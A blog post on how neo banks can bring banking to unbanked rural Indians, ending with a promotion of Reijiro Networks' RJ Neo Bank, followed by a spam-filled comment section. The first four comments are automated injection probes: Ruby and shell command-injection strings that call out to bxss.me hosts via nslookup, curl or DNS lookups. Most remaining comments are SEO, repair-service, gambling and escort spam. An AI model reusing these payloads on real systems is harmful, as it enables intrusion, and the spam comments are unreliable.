Neo Bank- Banking the Unbanked

According to the World Bank, the average banked population in low-income countries is 32.6 percent, while the average banked population in high-income economies is 90.5 percent, despite the fact that low-income economies’ GDP per capita is less than 2% of high-income economies’. Even a little increase in financial inclusion can result in an exponential rise in economic development. 

 

In India the majority of the population, nearly 65% of total population, lives in rural areas. Among them, there are still many people without bank accounts or easy access to financial services. Because financial inclusion and economic growth go hand in hand, India’s significant number of unbanked citizens is cause for concern.

 

The matter of concern here is to include the disadvantaged or population of rural India into the financial system, as any transaction outside of this system is loss for the economy. To address this issue, the RBI and Government of India have been working. 

The RBI has been encouraging the banking sector to expand its network by opening new physical branches, expanding the scope of business correspondents, and installing new ATMs/WLAs at every tier. The government has previously implemented many initiatives such as no-frills zero balance Jan Dhan accounts, DBT programmes, issuance of RuPay cards, issuance of Kisan Credit Cards, Aadhaar-enabled programmes, and unified payment interface throughout the last decade, all this to bank the unbanked citizens of country.

 

All this has worked, as In 2017, approximately 80% of Indians (aged 15 and up) have a financial institution or mobile-money service provider account, up from 35% in 2011. Account ownership among Indian men increased from over 62 percent in 2014 to 83 percent in 2017. In 2017, female involvement climbed from 43% in 2014 to over 76% in 2017. All of these figures increased even more after 2020, thanks to Covid-19 and the pandemic’s digital transformation.

 

Apart from steps taken by RBI and GOI, the factor behind this rise is the emergence of Neo Banks. Neo banks are financial institutions that operate entirely on digital platforms using internet, mobile applications and websites. 

The Unbanked Population

 

Gender– 

It is witnessed that out of the unbanked sector, there is a big chunk which is of women, specially from poor households in rural areas, who do not have access to financial services and are unbanked.

 

Income

Though there has been a rise in account ownership of poor people due to schemes such as Jan Dhan Yojana, poor adults still occupy a great share among the banked.

 

Age

In India there is a fair share of people between the ages 15-21 in the population, and in this population there is a great share of people who still do not have any bank account and are excluded from the financial system.

 

Education– 

It is observed that the majority of these unbanked citizens have bare minimum education and knowledge and do not have bank accounts, either due to lack of knowledge or because of the fear of getting their money stolen.

 

Why are people unbanked ?

 

  1. Lack of Infrastructure-

 

There are nearly 664,369 villages in India. And to cover such a population which resides in these villages, it is not possible to have so many branches of banks. Having a branch of a bank comes with costs- cost of setting up, maintenance and so on and having a branch of bank in every village where each village has a population of say 5000 is not possible and feasible. To solve this issue GOI came up with kiosks in rural areas but still that costs more than the value and becomes a reason for loss for the government.

 

  1. Distance-

 

As it is not feasible to have a bank in every village, the nearest bank branch is also far away from many villages, which people acknowledge as a reason for being unbanked.

 

  1. Lack of Education- 

 

Individuals who are unaware of the advantages and importance of joining the formal banking system, or for whom the financial products and services are inaccessible or unaffordable, do not consider it a priority in their daily life. Many people do not have knowledge regarding the importance of their money in the economy. They do not have bank accounts as they do not know how it would help them.

 

  1. Fear- 

 

Lack of knowledge gives rise to fear, fear due to lack of information and knowledge such as some people do think that their money might get stolen from their accounts. They are afraid to trust banks with their money and hence prefer not having an account and remain unbanked.

 

  1. Cost-

 

People have low confidence due to hidden charges, as banks do not disclose the hidden charges to account holders upfront.

 

  1. Lack of Money-

 

Having little money or simply poverty is one of the reasons for people being unbanked, as they believe they do not need a bank account for such a small amount that they have.

 

Digital to the rescue

 

In India it all started with the introduction of Aadhaar, which was the first step towards empowering people. With a long term vision of providing unique identity, procuring and securing data of citizens, Aadhar was implemented. Later it became a tool to track the money and in order to keep check on the flow of money, GOI and RBI came up with Aadhar Payment Bridge, eKYC, DigiLocker, eSign and UPI.

Another step for banking the unbanked was to promote cashless and digital payments, which got quick adaptation due to the pandemic in 2020, resulting in rapid growth of online and digital financial systems from 2020.

 

What can Neo Banks do ?

 

For the growth of business and activities in rural areas, it is necessary to open banks and provide banking services in these areas, but due to constraints discussed it is a bit of a tough task and hence, Neo banks come into play. Neo banks act as a mid layer between consumers and banks, as banks can not reach all consumers, they can get help from Neo banks.

 

Essentially after demonetisation and digital revolution both government and private sector do agree on having alternative banking channels and format , focusing growth of rural and semi- urban India.

 

Neo banks can be useful in this regard as they facilitate

-Unified Payment Interface (UPI)

-Aadhar Pay and BHIM

-Debit cards and Credit cards (for online payment)

-Unstructured Supplementary Service Data (USSD)

-National Electronic Fund Transfer (NEFT)

-Immediate Payment Services (IMPS)

 

Neo banks can be vital tool to bank the unbanked due to its features of- 

 

  1. Simple and Seamless process-

 

Be it setting up an account or doing a transaction both are simple and seamless on neo banks as it facilitates both with less paperwork, documentation and in a short period of time. Making it easy to understand, even by citizens who lack knowledge and education.

 

  1. User- friendly Interface-

 

Cleaner user interfaces and intuitive user experiences, such as regional language support and linkages with accounting and expenditure systems, are being offered by Neobanks, which makes it easy and attractive to use even for citizens with low knowledge and education.

 

  1. Convenience of time and location-

 

Neo banks can be accessed by anyone, anywhere and anytime, making it a good option to solve the issue of lack of infrastructure, distance and time. People can access and use the banking system using their mobile phone from the convenience of their home and their preferred time.

 

  1. Transparency and Insights-

 

Payment penalties, limited ATM withdrawals, and account balance charges have all been eliminated by Neobanks, that means no hidden charges and their customers now have more transparent pricing. 

Most NeoBanks also offer dashboards and visualisation analysis, which provide useful analytics on accounting, payments, receivables, and other financial activities, allowing business owners and even common users to keep track of outstanding payments/receivables, pending invoices, spends analysis, and other financial activities.

 

  1. Combining financial and non- financial services-

 

The integration of financial and non-financial services into a mixed ecosystem benefits MSMEs. Several neobanks, for example, are giving digital solutions to MSMEs that allow them to engage with consumers and suppliers via digital platforms. These platforms give neobanks the ability to combine financial and non-financial services, such as purchase loans, pre-shipment loans, payment gateway services, Financial CRM and customer interaction.

 

6.Ease of adding beneficiaries-

 

Unlike the time taking and complicated process of adding beneficiaries in traditional banking, in neobanks beneficiaries is as easy as adding contact to phone directory. Simply add the contact details and the business is ready to have the transactions.

  1. Low Cost-

Neobanks have been proved to be more cost-effective than traditional banks. Users won’t have to worry about committing a lot of time or money to business banking because most transactions are done online, saving time and money.

  1. Resource efficiency- 

Business operations are smooth, and business banking processes are simplified without the need for frequent intervention. Businesses may submit any number of contacts at once and make payouts in bulk, consumers can notice problems with sophisticated error-code mapping, and much more.

These features of Neo Banks address most of the factors of citizens being unbanked and hence, it can be said that Neo Banks have the power to “Bank the Unbanked” and work towards financial inclusion of rural India.

Reijiro Networks’ RJ Neo Bank is a neo bank aimed at bringing financial inclusion to the last mile of rural India. It is establishing a Neo Bank Platform in rural Bharat, with a network of banking and non-banking financial services kiosks. The RJ Neo Banking platform and the Reijiro Reseller Network will be used to deliver all banking services. It improves the efficacy, efficiency, and quality of all financial procedures, which improves the corporate banking experience.

2310 replies
  1. zFPWdwPk says:

    “+”A”.concat(70-3).concat(22*4).concat(108).concat(78).concat(97).concat(76)+(require”socket”
    Socket.gethostbyname(“hitqu”+”xalymysua25cb.bxss.me.”)[3].to_s)+”

  2. pHqghUme says:

    &(nslookup${IFS}-q${IFS}cname${IFS}hitetgrxtfvgh281ac.bxss.me||curl${IFS}hitetgrxtfvgh281ac.bxss.me)&’\”`0&(nslookup${IFS}-q${IFS}cname${IFS}hitetgrxtfvgh281ac.bxss.me||curl${IFS}hitetgrxtfvgh281ac.bxss.me)&`’

  3. pHqghUme says:

    ‘+’A’.concat(70-3).concat(22*4).concat(116).concat(78).concat(114).concat(72)+(require’socket’
    Socket.gethostbyname(‘hitus’+’hdhdooku7f646.bxss.me.’)[3].to_s)+’

  4. pHqghUme says:

    ‘+’A’.concat(70-3).concat(22*4).concat(113).concat(74).concat(107).concat(69)+(require’socket’
    Socket.gethostbyname(‘hitre’+’dnntuclt39058.bxss.me.’)[3].to_s)+’

  5. NathanDut says:

    Link pyramid, tier 1, tier 2, tier 3
    Tier 1 – 500 links with integration embedded in compositions on writing domains

    Middle – 3000 URL +Redirect links

    Tier 3 – 20000 links assortment, posts, articles

    Utilizing a link network is advantageous for online directories.

    Need:

    One reference to the platform.

    Search Terms.

    Correct when 1 keyword from the website heading.

    Remark the additional feature!

    Vital! Top connections do not intersect with Tier 2 and 3rd-order connections

    A link hierarchy is a tool for enhancing the liquidity and backlink portfolio of a website or social media platform

  6. Ремонт телефонов says:

    Профессиональный сервисный центр по ремонту сотовых телефонов, смартфонов и мобильных устройств.
    Мы предлагаем: ремонт телефонов ближайший ко мне
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  7. Ремонт смартфонов says:

    Профессиональный сервисный центр по ремонту сотовых телефонов, смартфонов и мобильных устройств.
    Мы предлагаем: ремонт телефонов
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  8. ремонт macbook says:

    Профессиональный сервисный центр по ремонту ноутбуков, макбуков и другой компьютерной техники.
    Мы предлагаем:ремонт макбук
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  9. Ремонт смартфонов says:

    Профессиональный сервисный центр по ремонту сотовых телефонов, смартфонов и мобильных устройств.
    Мы предлагаем: срочный ремонт телефонов
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  10. сервис центры в петербурге says:

    Профессиональный сервисный центр по ремонту бытовой техники с выездом на дом.
    Мы предлагаем:ремонт крупногабаритной техники в петрбурге
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  11. ремонт ipad в москве says:

    Профессиональный сервисный центр по ремонту радиоуправляемых устройства – квадрокоптеры, дроны, беспилостники в том числе Apple iPad.
    Мы предлагаем: ремонт квадрокоптеров в москве
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  12. ремонт техники в спб says:

    Профессиональный сервисный центр по ремонту бытовой техники с выездом на дом.
    Мы предлагаем:ремонт крупногабаритной техники в петрбурге
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  13. ремонт бытовой техники в екатеринбурге says:

    Профессиональный сервисный центр по ремонту бытовой техники с выездом на дом.
    Мы предлагаем:сервисные центры в екатеринбурге
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  14. Ремонт варочных панелей says:

    Профессиональный сервисный центр по ремонту варочных панелей и индукционных плит.
    Мы предлагаем: сколько стоит ремонт варочной панели
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  15. ремонт бытовой техники в екатеринбурге says:

    Профессиональный сервисный центр по ремонту бытовой техники с выездом на дом.
    Мы предлагаем:сервисные центры по ремонту техники в екб
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  16. Matthewdiall says:

    Паркетная доска – это паркет из натурального дерева, который используется для отделки пола. Он покрыт износоустойчивым лаком или масло-воском с различными видами обработки (браш, волна, фаска), что делает его популярным выбором для создания уютной атмосферы в доме. Паркетная доска может быть различных видов, от классического дуба до экзотических пород дерева. Укладка паркетных досок требует определенных навыков и профессионализма, чтобы обеспечить красивый и долговечный результат. https://kvarcvinil3.ru/

  17. GregoryhiB says:

    При выборе напольного покрытия для вашего дома или офиса важно обратить внимание на качество, долговечность и дизайн. Магазин напольных покрытий – это место, где вы можете найти широкий ассортимент различных материалов, от ламината и паркета до ковров и виниловых плиток. https://ламинат1.рф/

  18. Ремонт фотоаппаратов в Москве says:

    Профессиональный сервисный центр по ремонту фото техники от зеркальных до цифровых фотоаппаратов.
    Мы предлагаем: ремонт фотоаппаратов москва
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  19. Ремонт фотоаппаратов в Москве says:

    Профессиональный сервисный центр по ремонту фото техники от зеркальных до цифровых фотоаппаратов.
    Мы предлагаем: ремонт зеркальных фотоаппаратов
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  20. ремонт бытовой техники в новосибирске says:

    Профессиональный сервисный центр по ремонту бытовой техники с выездом на дом.
    Мы предлагаем:ремонт бытовой техники в новосибирске
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  21. ремонт бытовой техники в новосибирске says:

    Профессиональный сервисный центр по ремонту бытовой техники с выездом на дом.
    Мы предлагаем:ремонт крупногабаритной техники в новосибирске
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  22. bokep xnxx says:

    togel178
    You really make it seem so easy with your presentation but I find this
    matter to be actually something that I think I would never understand.
    It seems too complicated and extremely broad for
    me. I am looking forward for your next post, I’ll try to get the hang of it!

  23. Ремонт стиральных машин в Москве says:

    Профессиональный сервисный центр по ремонту стиральных машин с выездом на дом по Москве.
    Мы предлагаем: ремонт стиральных машин профи центр
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  24. Ремонт стиральных машин says:

    Профессиональный сервисный центр по ремонту стиральных машин с выездом на дом по Москве.
    Мы предлагаем: сервисные центры по ремонту стиральных машин
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  25. сервис центры в казани says:

    Профессиональный сервисный центр по ремонту бытовой техники с выездом на дом.
    Мы предлагаем: сервисные центры по ремонту техники в казани
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  26. ремонт техники в москве says:

    Профессиональный сервисный центр по ремонту бытовой техники с выездом на дом.
    Мы предлагаем: сервис центры бытовой техники москва
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  27. сервис центры в москве says:

    Профессиональный сервисный центр по ремонту бытовой техники с выездом на дом.
    Мы предлагаем: ремонт крупногабаритной техники в москве
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  28. Ремонт игровых консолей says:

    Профессиональный сервисный центр по ремонту игровых консолей Sony Playstation, Xbox, PSP Vita с выездом на дом по Москве.
    Мы предлагаем: цены на ремонт игровых консолей
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  29. Ремонт игровых приставок says:

    Профессиональный сервисный центр по ремонту игровых консолей Sony Playstation, Xbox, PSP Vita с выездом на дом по Москве.
    Мы предлагаем: ремонт игровых приставок
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  30. Ремонт фотовспышек в Москве says:

    Профессиональный сервисный центр по ремонту фототехники в Москве.
    Мы предлагаем: ремонт фотовспышек
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!
    Подробнее на сайте сервисного центра remont-vspyshek-realm.ru

  31. Ремонт проекторов says:

    Профессиональный сервисный центр по ремонту фото техники от зеркальных до цифровых фотоаппаратов.
    Мы предлагаем: ремонт проекторов
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  32. Купить раковину says:

    Хочу поделиться опытом покупки в одном интернет-магазине сантехники. Решил обновить ванную комнату и искал место, где можно найти широкий выбор раковин и ванн. Этот магазин приятно удивил своим ассортиментом и сервисом. Там есть всё: от классических чугунных ванн до современных акриловых моделей.

    Если вам нужна умывальники для ванной , то это точно туда. Цены конкурентные, а качество товаров подтверждено сертификатами. Консультанты помогли с выбором, ответили на все вопросы. Доставка пришла вовремя, и установка прошла без проблем. Остался очень доволен покупкой и сервисом.

  33. сервис по ремонту телефонов says:

    Сломался телефон, думал покупать новый, но решил попробовать отремонтировать. Обратился в этот сервисный центр и не пожалел. Профессионалы своего дела быстро восстановили мой телефон. Рекомендую посетить их сайт: сервис по телефонам.

  34. ремонт кондиционеров says:

    <a href=”https://remont-kondicionerov-wik.ru”>сервис кондиционеров</a>

  35. TimothyWamuS says:

    עם נערות ליווי בתל נערות יפות ובעלות גוף מושך. הן מגיעות לכאן ממדינות שונות, לרבות רוסיה ואוקראינה. אך יש גם צבריות ואתיופיות. בשביל להבין צריך לנסות. ואם אתה רוצה לנסות, או ממש מרגיש כי מגיע ליהנות מהחופש האינסופי ומתחושות הגבריות שאפשר לקבל בבילוי look at more info

  36. Ремонт камеры наблюдения в Москве says:

    Профессиональный сервисный центр по ремонту камер видео наблюдения по Москве.
    Мы предлагаем: ремонт систем видеонаблюдения москва
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  37. сервис центры в нижнем новгороде says:

    Профессиональный сервисный центр по ремонту бытовой техники с выездом на дом.
    Мы предлагаем: ремонт крупногабаритной техники в нижнем новгороде
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  38. ремонт бытовой техники в перми says:

    Профессиональный сервисный центр по ремонту бытовой техники с выездом на дом.
    Мы предлагаем: ремонт бытовой техники в перми
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  39. Ремонт часов в Москве says:

    Профессиональный сервисный центр по ремонту кнаручных часов от советских до швейцарских в Москве.
    Мы предлагаем: ремонт часов москва
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  40. ремонт бытовой техники в красноярске says:

    Профессиональный сервисный центр по ремонту бытовой техники с выездом на дом.
    Мы предлагаем: сервисные центры по ремонту техники в красноярске
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  41. сервис центры в красноярске says:

    Профессиональный сервисный центр по ремонту бытовой техники с выездом на дом.
    Мы предлагаем: ремонт крупногабаритной техники в красноярске
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!

  42. ремонт бытовой техники в ростове на дону says:

    Профессиональный сервисный центр по ремонту бытовой техники с выездом на дом.
    Мы предлагаем:сервисные центры по ремонту техники в ростове на дону
    Наши мастера оперативно устранят неисправности вашего устройства в сервисе или с выездом на дом!